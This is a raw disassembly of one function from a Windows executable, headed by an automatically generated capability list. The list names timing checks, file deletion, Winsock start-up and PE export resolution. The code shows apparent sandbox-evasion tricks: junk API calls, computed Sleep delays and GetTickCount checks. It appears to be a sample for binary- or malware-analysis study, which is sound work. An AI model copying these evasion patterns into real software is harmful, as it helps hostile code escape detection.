Function at 0x41a290
Capabilities:
Check for time delay via gettickcount
Create directory
Delete file
Get number of processors
Initialize winsock library
Parse pe header
Resolve function by parsing pe exports
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x44fdd9
mov eax, dword fs:[0]
push eax
sub esp, 0x39c
mov eax, dword [0x45f2b0]
xor eax, esp
mov dword [esp + 0x398], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x45f2b0]
xor eax, esp
push eax
lea eax, [esp + 0x3b0]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x3c0]
mov dword [esp + 0x60], ebp
push ebp
mov dword [esp + 0x3bc], 6
call fcn.00407210
lea eax, [ebp + 0x18]
push eax
mov byte [esp + 0x3bc], 7
call fcn.00430850
lea edi, [ebp + 0xe0]
push edi
mov byte [esp + 0x3bc], 8
call fcn.0040f9c0
xor ebx, ebx
mov dword [edi + 0x34], 0xf
mov dword [edi + 0x30], ebx
mov byte [edi + 0x20], bl
mov dword [edi + 0x18], ebx
mov dword [edi + 0x38], ebx
mov dword [edi + 0x40], ebx
mov dword [edi + 0x44], ebx
mov dword [edi + 0x48], ebx
mov dword [edi + 0x50], ebx
mov dword [edi + 0x54], ebx
lea esi, [ebp + 0x138]
mov byte [esp + 0x3b8], 9
call fcn.004048d0
mov esi, 0xf
mov dword [ebp + 0x198], esi
mov dword [ebp + 0x194], ebx
mov byte [ebp + 0x184], bl
mov dword [ebp + 0x1b4], esi
mov dword [ebp + 0x1b0], ebx
mov byte [ebp + 0x1a0], bl
mov dword [ebp + 0x1d0], esi
mov dword [ebp + 0x1cc], ebx
mov byte [ebp + 0x1bc], bl
mov dword [ebp + 0x1f0], esi
mov dword [ebp + 0x1ec], ebx
mov byte [ebp + 0x1dc], bl
mov dword [ebp + 0x210], esi
mov dword [ebp + 0x20c], ebx
mov byte [ebp + 0x1fc], bl
lea ecx, [ebp + 0x214]
push ecx
mov byte [esp + 0x3bc], 0xf
call fcn.0040f9c0
lea edx, [ebp + 0x22c]
push edx
mov byte [esp + 0x3bc], pe_nt_image_headers32
call fcn.0040f9c0
mov dword [ebp + 0x25c], esi
mov dword [ebp + 0x258], ebx
mov byte [ebp + 0x248], bl
mov dword [ebp + 0x278], esi
mov dword [ebp + 0x274], ebx
mov byte [ebp + 0x264], bl
mov dword [ebp + 0x2a0], esi
mov dword [ebp + 0x29c], ebx
mov byte [ebp + 0x28c], bl
mov dword [ebp + 0x2bc], esi
mov dword [ebp + 0x2b8], ebx
mov byte [ebp + 0x2a8], bl
lea eax, [ebp + 0x2c0]
push eax
mov byte [esp + 0x3bc], 0x15
call fcn.0040f9c0
lea eax, [ebp + 0x2d8]
push eax
mov byte [esp + 0x3bc], 0x16
call fcn.0040f9c0
lea ecx, [ebp + 0x2f0]
push ecx
mov byte [esp + 0x3bc], 0x17
call fcn.0040f9c0
mov dword [ebp + 0x324], esi
mov dword [ebp + 0x320], ebx
mov byte [ebp + 0x310], bl
mov dword [ebp + 0x340], esi
mov dword [ebp + 0x33c], ebx
mov byte [ebp + 0x32c], bl
mov dword [ebp + 0x35c], esi
mov dword [ebp + 0x358], ebx
mov byte [ebp + 0x348], bl
mov dword [ebp + 0x378], esi
mov dword [ebp + 0x374], ebx
mov byte [ebp + 0x364], bl
mov dword [ebp + 0x394], esi
mov dword [ebp + 0x390], ebx
mov byte [ebp + 0x380], bl
mov byte [esp + 0x3b8], 0x1d
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 4
call esi
lea edx, [esp + 0x18]
cmp eax, edx
jle 0x41a4ce
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebx + 1]
jmp 0x41a4df
push 0xe
call esi
lea ecx, [esp + 0x18]
xor edx, edx
cmp eax, ecx
setg dl
mov ecx, edx
mov eax, 0x5b97ba75
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 0xb2e1
jle 0x41a519
push 0xb2e1
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetActiveWindow]
call dword [sym.imp.USER32.dll_GetCapture]
call dword [sym.imp.USER32.dll_GetClipboardOwner]
call fcn.00406fe0
call fcn.0042f890
mov dword [esp + 0x3b8], 0x1d
call fcn.0041c3d0
push ebp
call fcn.0041c5e0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, 2
je 0x41a54d
sub eax, 2
je 0x41a54d
sub eax, 4
je 0x41a54d
xor ecx, ecx
jmp 0x41a55d
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, 1
mov eax, 0x8b70344b
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0x1d60
jle 0x41a58d
push 0x1d60
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00417ed0
call fcn.00435230
call fcn.00437f69
cdq
mov ecx, 0x14
idiv ecx
mov esi, edx
inc esi
call fcn.00437f69
cdq
idiv esi
cmp edx, esi
jle 0x41a5b0
mov edx, 1
jmp 0x41a5b5
mov eax, esi
cdq
idiv esi
mov eax, 0x67b23a55
imul edx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 0x4f
jle 0x41a5dd
push 0x4f
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00417fa0
call fcn.00418070
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x3cc]
push ecx
lea ecx, [ebp + 0x180]
call fcn.00402d10
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x3e8]
lea esi, [ebp + 0x30c]
push edx
mov ecx, esi
call fcn.00402d10
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x404]
push eax
lea ecx, [ebp + 0x328]
call fcn.00402d10
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x420]
push ecx
lea ecx, [ebp + 0x344]
call fcn.00402d10
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x43c]
push edx
lea ecx, [ebp + 0x360]
call fcn.00402d10
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x458]
push eax
lea ecx, [ebp + 0x37c]
call fcn.00402d10
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x474]
push ecx
lea ecx, [ebp + 0x2a4]
call fcn.00402d10
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0xffffffffffffffff
push ebx
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push esi
mov byte [ecx + 4], bl
call fcn.00402d10
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x3f0], 0x20
mov dword [esp + 0x94], esp
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x360]
mov esi, 0xf
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00402d10
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x40c], 0x21
mov dword [esp + 0x74], esp
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x344]
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00402d10
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x428], 0x22
mov dword [esp + 0x8c], esp
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x328]
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00402d10
mov ecx, edi
mov byte [esp + 0x428], 0x1d
call fcn.00435630
mov esi, ebp
call fcn.0041c900
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [esp + 0x32]
push eax
call fcn.00437f57
add esp, 4
lea ecx, [esp + 0x114]
push ecx
push 0x202
call sub.WS2_32.dll_WSAStartup
push ebx
call fcn.00439283
add esp, 4
push ebx
call fcn.00439283
add esp, 4
push 0x103
lea edx, [esp + 0x2a9]
push ebx
push edx
mov byte [esp + 0x2b0], bl
call fcn.0043e780
add esp, 0xc
push 0x104
lea eax, [esp + 0x2a8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x41a8d2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [esp + 0x28]
push ecx
sub esp, 0x1c
mov esi, esp
mov dword [esi + 0x18], 0xf
lea edi, [esi + 4]
mov dword [esi + 0x14], ebx
mov byte [edi], bl
mov eax, dword [esi + 0x18]
mov dword [esp + 0x40], esp
cmp eax, 0x10
jb 0x41a7da
mov ecx, dword [edi]
jmp 0x41a7dc
mov ecx, edi
cmp ecx, 0x454ea8
ja 0x41a817
cmp eax, 0x10
jb 0x41a7ed
mov ecx, dword [edi]
jmp 0x41a7ef
mov ecx, edi
mov edx, dword [esi + 0x14]
add edx, ecx
cmp edx, 0x454ea8
jbe 0x41a817
cmp eax, 0x10
jb 0x41a803
mov edi, dword [edi]
push 0x21
mov eax, 0x454ea8
sub eax, edi
push eax
push esi
mov ecx, esi
call fcn.00402d10
jmp 0x41a85a
cmp eax, 0x21
jae 0x41a829
mov ecx, dword [esi + 0x14]
push ecx
push 0x21
mov ecx, esi
call fcn.00403480
mov ecx, dword [esi + 0x18]
cmp ecx, 0x10
jb 0x41a835
mov eax, dword [edi]
jmp 0x41a837
mov eax, edi
push 0x21
push 0x454ea8
push ecx
push eax
call fcn.00437feb
add esp, 0x10
cmp dword [esi + 0x18], 0x10
mov dword [esi + 0x14], 0x21
jb 0x41a857
mov edi, dword [edi]
mov byte [edi + 0x21], bl
lea esi, [esp + 0xe0]
call fcn.004014c0
mov byte [esp + 0x3c0], 0x23
call fcn.00401770
mov esi, pe_nt_image_headers32
mov byte [esp + 0x3bc], 0x24
cmp dword [eax + 0x18], esi
jb 0x41a88a
mov eax, dword [eax + 4]
jmp 0x41a88d
add eax, 4
push eax
push 1
push ebp
call fcn.0041c990
add esp, 0x10
cmp dword [esp + 0x3c], esi
jb 0x41a8ac
mov edx, dword [esp + 0x28]
push edx
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0xbc]
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
mov byte [esp + 0x3b8], 0x1d
call fcn.00429620
jmp 0x41a90d
lea eax, [esp + 0x2a4]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x41a8e0
sub eax, edx
push eax
lea eax, [esp + 0x2a8]
push eax
lea ecx, [ebp + 0x244]
call fcn.00403090
call fcn.00417e70
mov dword [esp + 0x3b8], 0x1d
push ebp
call fcn.0041cae0
mov esi, ebp
call fcn.0041cdb0
cmp eax, ebx
jge 0x41aa6b
lea ecx, [esp + 0x24]
push ecx
sub esp, 0x1c
mov esi, esp
mov dword [esi + 0x18], 0xf
lea edi, [esi + 4]
mov dword [esi + 0x14], ebx
mov byte [edi], bl
mov eax, dword [esi + 0x18]
mov dword [esp + 0x3c], esp
cmp eax, 0x10
jb 0x41a94b
mov ecx, dword [edi]
jmp 0x41a94d
mov ecx, edi
cmp ecx, 0x454ecc
ja 0x41a988
cmp eax, 0x10
jb 0x41a95e
mov ecx, dword [edi]
jmp 0x41a960
mov ecx, edi
mov edx, dword [esi + 0x14]
add edx, ecx
cmp edx, 0x454ecc
jbe 0x41a988
cmp eax, 0x10
jb 0x41a974
mov edi, dword [edi]
push 0x17
mov eax, 0x454ecc
sub eax, edi
push eax
push esi
mov ecx, esi
call fcn.00402d10
jmp 0x41a9cb
cmp eax, 0x17
jae 0x41a99a
mov ecx, dword [esi + 0x14]
push ecx
push 0x17
mov ecx, esi
call fcn.00403480
mov ecx, dword [esi + 0x18]
cmp ecx, 0x10
jb 0x41a9a6
mov eax, dword [edi]
jmp 0x41a9a8
mov eax, edi
push 0x17
push 0x454ecc
push ecx
push eax
call fcn.00437feb
add esp, 0x10
cmp dword [esi + 0x18], 0x10
mov dword [esi + 0x14], 0x17
jb 0x41a9c8
mov edi, dword [edi]
mov byte [edi + 0x17], bl
lea esi, [esp + 0xdc]
call fcn.004014c0
mov byte [esp + 0x3bc], 0x27
call fcn.00401770
mov esi, pe_nt_image_headers32
mov byte [esp + 0x3b8], 0x28
cmp dword [eax + 0x18], esi
jb 0x41a9fb
mov eax, dword [eax + 4]
jmp 0x41a9fe
add eax, 4
push eax
push 1
push ebp
call fcn.0041c990
add esp, 0xc
cmp dword [esp + 0x3c], esi
jb 0x41aa1d
mov edx, dword [esp + 0x28]
push edx
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0xbc]
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
mov byte [esp + 0x3b8], 0x1d
call fcn.00429620
call fcn.00437f69
cdq
mov ecx, 0x14
idiv ecx
mov esi, edx
inc esi
call fcn.00437f69
cdq
idiv esi
cmp edx, esi
jg 0x41aa66
mov eax, esi
cdq
idiv esi
cmp edx, ebx
je 0x41aa6b
call fcn.00435230
push ebp
call fcn.0041ce60
mov ecx, ebp
call fcn.0041e680
push ebp
call fcn.0041efe0
push ebx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push ebx
mov edi, 0xf
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push 0x45360f
mov byte [ecx + 4], bl
call fcn.00403090
lea edx, [esp + 0x44]
push edx
sub esp, 0x1c
mov byte [esp + 0x3f8], 0x29
mov esi, esp
mov dword [esi + 0x18], edi
lea edi, [esi + 4]
mov dword [esi + 0x14], ebx
mov byte [edi], bl
mov eax, dword [esi + 0x18]
mov dword [esp + 0x60], esp
cmp eax, 0x10
jb 0x41aace
mov ecx, dword [edi]
jmp 0x41aad0
mov ecx, edi
cmp ecx, 0x454ee8
ja 0x41ab0b
cmp eax, 0x10
jb 0x41aae1
mov ecx, dword [edi]
jmp 0x41aae3
mov ecx, edi
mov edx, dword [esi + 0x14]
add edx, ecx
cmp edx, 0x454ee8
jbe 0x41ab0b
cmp eax, 0x10
jb 0x41aaf7
mov edi, dword [edi]
push 0x45
mov eax, 0x454ee8
sub eax, edi
push eax
push esi
mov ecx, esi
call fcn.00402d10
jmp 0x41ab4e
cmp eax, 0x45
jae 0x41ab1d
mov ecx, dword [esi + 0x14]
push ecx
push 0x45
mov ecx, esi
call fcn.00403480
mov ecx, dword [esi + 0x18]
cmp ecx, 0x10
jb 0x41ab29
mov eax, dword [edi]
jmp 0x41ab2b
mov eax, edi
push 0x45
push 0x454ee8
push ecx
push eax
call fcn.00437feb
add esp, 0x10
cmp dword [esi + 0x18], 0x10
mov dword [esi + 0x14], 0x45
jb 0x41ab4b
mov edi, dword [edi]
mov byte [edi + 0x45], bl
lea esi, [esp + 0xfc]
call fcn.004014c0
mov byte [esp + 0x3dc], 0x2a
call fcn.00401580
mov edi, pe_nt_image_headers32
mov byte [esp + 0x3d8], 0x2b
cmp dword [eax + 0x18], edi
jb 0x41ab7e
mov ecx, dword [eax + 4]
jmp 0x41ab81
lea ecx, [eax + 4]
sub esp, 0x1c
mov esi, esp
mov eax, ecx
lea edx, [eax + 1]
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov dword [esp + 0x5c], esp
mov byte [esi + 4], bl
mov dword [esp + 0x54], edx
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x41aba0
sub eax, dword [esp + 0x54]
push eax
push ecx
mov ecx, esi
call fcn.00403090
push ebp
mov ecx, closesocket
mov byte [esp + 0x3f8], 0x2d
call fcn.0041f4d0
and eax, 0x80004005
mov dword [esp + 0x18], eax
cmp dword [esp + 0x3c], edi
jb 0x41abe3
mov eax, dword [esp + 0x28]
push eax
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0xbc]
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
mov byte [esp + 0x3b8], 0x1d
call fcn.00429620
call fcn.00417c50
test eax, eax
je 0x41ac27
call dword [sym.imp.USER32.dll_GetActiveWindow]
call dword [sym.imp.USER32.dll_GetCapture]
call dword [sym.imp.USER32.dll_GetClipboardOwner]
call fcn.00401440
push ebx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push ebx
mov esi, 0xf
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x45360f
mov byte [ecx + 4], bl
call fcn.00403090
lea ecx, [esp + 0x44]
push ecx
sub esp, 0x1c
mov byte [esp + 0x3f8], 0x2e
mov ecx, esp
mov dword [esp + 0x60], esp
push 0x31
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x454f30
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0xfc]
call fcn.004014c0
mov byte [esp + 0x3dc], 0x2f
call fcn.00401580
mov byte [esp + 0x3d8], 0x30
cmp dword [eax + 0x18], edi
jb 0x41aca0
mov eax, dword [eax + 4]
jmp 0x41aca3
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x5c], esp
push eax
call fcn.00402b30
push ebp
mov ecx, closesocket
mov byte [esp + 0x3f8], 0x32
call fcn.0041f4d0
and dword [esp + 0x18], eax
cmp dword [esp + 0x3c], edi
jb 0x41acdc
mov edx, dword [esp + 0x28]
push edx
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0xbc]
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
mov byte [esp + 0x3b8], 0x1d
call fcn.00429620
push ebx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x45360f
call fcn.00402b30
lea eax, [esp + 0x44]
push eax
sub esp, 0x1c
mov byte [esp + 0x3f8], 0x33
mov ecx, esp
mov dword [esp + 0x60], esp
push 0x45
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push str.SOFTWA_0
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0xfc]
call fcn.004014c0
mov byte [esp + 0x3dc], 0x34
call fcn.004018b0
mov byte [esp + 0x3d8], 0x35
cmp dword [eax + 0x18], edi
jb 0x41ad6e
mov eax, dword [eax + 4]
jmp 0x41ad71
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x5c], esp
push eax
call fcn.00402b30
push ebp
mov ecx, closesocket
mov byte [esp + 0x3f8], 0x37
call fcn.0041f4d0
and dword [esp + 0x18], eax
cmp dword [esp + 0x3c], edi
jb 0x41adaa
mov ecx, dword [esp + 0x28]
push ecx
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0xbc]
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
mov byte [esp + 0x3b8], 0x1d
call fcn.00429620
call fcn.00417cd0
test eax, eax
je 0x41ade1
call fcn.00401440
call fcn.00418100
push ebx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x45360f
call fcn.00402b30
sub esp, 0x1c
mov byte [esp + 0x3f4], 0x38
mov ecx, esp
mov dword [esp + 0x5c], esp
push 0x31
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push 0x454fb0
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0xf8]
call fcn.004014c0
lea edx, [esp + 0x44]
mov ecx, eax
mov byte [esp + 0x3d8], 0x39
call fcn.00401640
mov byte [esp + 0x3d8], 0x3a
cmp dword [eax + 0x18], edi
jb 0x41ae50
mov eax, dword [eax + 4]
jmp 0x41ae53
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x5c], esp
push eax
call fcn.00402b30
push ebp
mov ecx, closesocket
mov byte [esp + 0x3f8], 0x3c
call fcn.0041f4d0
and dword [esp + 0x18], eax
cmp dword [esp + 0x3c], edi
jb 0x41ae8c
mov edx, dword [esp + 0x28]
push edx
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0xbc]
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
mov byte [esp + 0x3b8], 0x1d
call fcn.00429620
push 1
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 4
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push 0x454fe4
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0x84]
call fcn.004014c0
lea edx, [esp + 0x44]
mov ecx, eax
mov byte [esp + 0x3bc], 0x3d
call fcn.00401640
mov byte [esp + 0x3bc], 0x3e
cmp dword [eax + 0x18], edi
jb 0x41af05
mov eax, dword [eax + 4]
jmp 0x41af08
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push eax
call fcn.00402b30
lea eax, [esp + 0x44]
push eax
sub esp, 0x1c
mov byte [esp + 0x3f8], 0x3f
mov ecx, esp
mov dword [esp + 0x60], esp
push 0x38
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push 0x454fec
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0xfc]
call fcn.004014c0
mov byte [esp + 0x3dc], 0x40
call fcn.00401770
mov byte [esp + 0x3d8], 0x41
cmp dword [eax + 0x18], edi
jb 0x41af71
mov eax, dword [eax + 4]
jmp 0x41af74
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x5c], esp
push eax
call fcn.00402b30
push ebp
mov ecx, closesocket
mov byte [esp + 0x3f8], 0x43
call fcn.0041f4d0
and dword [esp + 0x18], eax
cmp dword [esp + 0x3c], edi
jb 0x41afad
mov ecx, dword [esp + 0x28]
push ecx
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0xbc]
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.00429620
cmp dword [esp + 0x58], edi
jb 0x41afdc
mov edx, dword [esp + 0x44]
push edx
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0x64]
mov dword [esp + 0x58], 0xf
mov dword [esp + 0x54], ebx
mov byte [esp + 0x44], bl
mov byte [esp + 0x3b8], 0x1d
call fcn.00429620
push 1
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 3
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push 0x455028
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0xdc]
call fcn.004014c0
lea edx, [esp + 0x28]
mov ecx, eax
mov byte [esp + 0x3bc], 0x44
call fcn.00401a50
mov byte [esp + 0x3bc], 0x45
cmp dword [eax + 0x18], edi
jb 0x41b052
mov eax, dword [eax + 4]
jmp 0x41b055
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push eax
call fcn.00402b30
lea eax, [esp + 0x60]
push eax
sub esp, 0x1c
mov byte [esp + 0x3f8], 0x46
mov ecx, esp
mov dword [esp + 0x60], esp
push 0x38
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push str.SOFT_6_2___
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0xa4]
call fcn.004014c0
mov byte [esp + 0x3dc], 0x47
call fcn.004018b0
mov byte [esp + 0x3d8], 0x48
cmp dword [eax + 0x18], edi
jb 0x41b0be
mov eax, dword [eax + 4]
jmp 0x41b0c1
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x5c], esp
push eax
call fcn.00402b30
push ebp
mov ecx, closesocket
mov byte [esp + 0x3f8], 0x4a
call fcn.0041f4d0
and dword [esp + 0x18], eax
cmp dword [esp + 0x58], edi
jb 0x41b0fa
mov ecx, dword [esp + 0x44]
push ecx
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0x64]
mov dword [esp + 0x58], 0xf
mov dword [esp + 0x54], ebx
mov byte [esp + 0x44], bl
call fcn.00429620
cmp dword [esp + 0x3c], edi
jb 0x41b126
mov edx, dword [esp + 0x28]
push edx
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0xbc]
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
mov byte [esp + 0x3b8], 0x1d
call fcn.00429620
push ebx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x45360f
call fcn.00402b30
lea eax, [esp + 0x60]
push eax
sub esp, 0x1c
mov byte [esp + 0x3f8], 0x4b
mov ecx, esp
mov dword [esp + 0x60], esp
push 0x4f
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push 0x455068
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0xa4]
call fcn.004014c0
mov byte [esp + 0x3dc], 0x4c
call fcn.00401770
mov byte [esp + 0x3d8], 0x4d
cmp dword [eax + 0x18], edi
jb 0x41b1b8
mov eax, dword [eax + 4]
jmp 0x41b1bb
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x5c], esp
push eax
call fcn.00402b30
push ebp
mov ecx, reloc.WS2_32.dll_closesocket
mov byte [esp + 0x3f8], 0x4f
call fcn.0041f4d0
and dword [esp + 0x18], eax
cmp dword [esp + 0x58], edi
jb 0x41b1f4
mov ecx, dword [esp + 0x44]
push ecx
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0x64]
mov dword [esp + 0x58], 0xf
mov dword [esp + 0x54], ebx
mov byte [esp + 0x44], bl
mov byte [esp + 0x3b8], 0x1d
call fcn.00429620
call fcn.00417e10
test eax, eax
je 0x41b228
call fcn.00401440
call fcn.00418790
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, 2
je 0x41b241
sub eax, 2
je 0x41b241
sub eax, 4
je 0x41b241
xor ecx, ecx
jmp 0x41b24d
push ebx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, 1
mov eax, 0x2aaaaaab
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 0xc0
jle 0x41b27a
push 0xc0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00419f60
call fcn.00419f60
push ebx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x45360f
call fcn.00402b30
lea ecx, [esp + 0x60]
push ecx
sub esp, 0x1c
mov byte [esp + 0x3f8], 0x50
mov ecx, esp
mov dword [esp + 0x60], esp
push 0x3b
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push 0x4550b8
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0xa4]
call fcn.004014c0
mov byte [esp + 0x3dc], 0x51
call fcn.00401770
mov byte [esp + 0x3d8], 0x52
cmp dword [eax + 0x18], edi
jb 0x41b2e8
mov eax, dword [eax + 4]
jmp 0x41b2eb
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x5c], esp
push eax
call fcn.00402b30
push ebp
mov ecx, reloc.WS2_32.dll_closesocket
mov byte [esp + 0x3f8], 0x54
call fcn.0041f4d0
and dword [esp + 0x18], eax
cmp dword [esp + 0x58], edi
jb 0x41b324
mov edx, dword [esp + 0x44]
push edx
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0x64]
mov dword [esp + 0x58], 0xf
mov dword [esp + 0x54], ebx
mov byte [esp + 0x44], bl
mov byte [esp + 0x3b8], 0x1d
call fcn.00429620
cmp dword [esp + 0x18], ebx
jge 0x41b5ee
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x38], esp
push 0x34
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push 0x4550f4
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0x80]
call fcn.004014c0
lea edx, [esp + 0x40]
mov ecx, eax
mov byte [esp + 0x3b8], 0x55
call fcn.00401a50
mov byte [esp + 0x3b8], 0x56
cmp dword [eax + 0x18], edi
jb 0x41b3a2
mov eax, dword [eax + 4]
jmp 0x41b3a5
add eax, 4
push eax
push 1
push ebp
call fcn.0041c990
add esp, 0xc
cmp dword [esp + 0x58], edi
jb 0x41b3c4
mov eax, dword [esp + 0x44]
push eax
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0x64]
mov dword [esp + 0x58], 0xf
mov dword [esp + 0x54], ebx
mov byte [esp + 0x44], bl
mov byte [esp + 0x3b8], 0x1d
call fcn.00429620
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x38], esp
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x244]
mov esi, 0xf
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00402d10
lea ecx, [esp + 0x40]
push ecx
sub esp, 0x1c
mov byte [esp + 0x3f4], 0x57
mov ecx, esp
mov dword [esp + 0x5c], esp
push 0xb
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x45512c
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0xf8]
call fcn.004014c0
mov byte [esp + 0x3d8], 0x58
call fcn.00401770
mov byte [esp + 0x3d4], 0x59
cmp dword [eax + 0x18], edi
jb 0x41b461
mov eax, dword [eax + 4]
jmp 0x41b464
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x58], esp
push eax
call fcn.00402b30
sub esp, 0x1c
mov byte [esp + 0x40c], 0x5a
mov ecx, esp
mov dword [esp + 0xb0], esp
push 0x31
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push 0x454fb0
mov byte [ecx + 4], bl
call fcn.00403090
